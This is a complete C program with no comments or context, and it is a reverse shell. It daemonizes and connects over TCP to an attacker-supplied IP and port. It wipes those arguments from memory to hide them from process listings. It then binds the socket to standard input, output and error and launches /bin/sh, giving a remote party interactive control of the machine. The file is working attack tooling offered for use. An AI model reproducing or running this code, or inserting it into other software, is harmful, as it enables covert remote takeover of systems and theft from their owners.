#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
 int fd;
 struct sockaddr_in sin; 
 daemon(1,0);
 sin.sin_family = AF_INET;
 sin.sin_port = htons(atoi(argv[1]));
 sin.sin_addr.s_addr = inet_addr(argv[2]); 
 bzero(argv[2],strlen(argv[2])+1+strlen(argv[1])); 
 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; 
 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
   perror("[-] connect()");
   exit(0);
 }
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh",(char *)0); 
 close(fd); 
}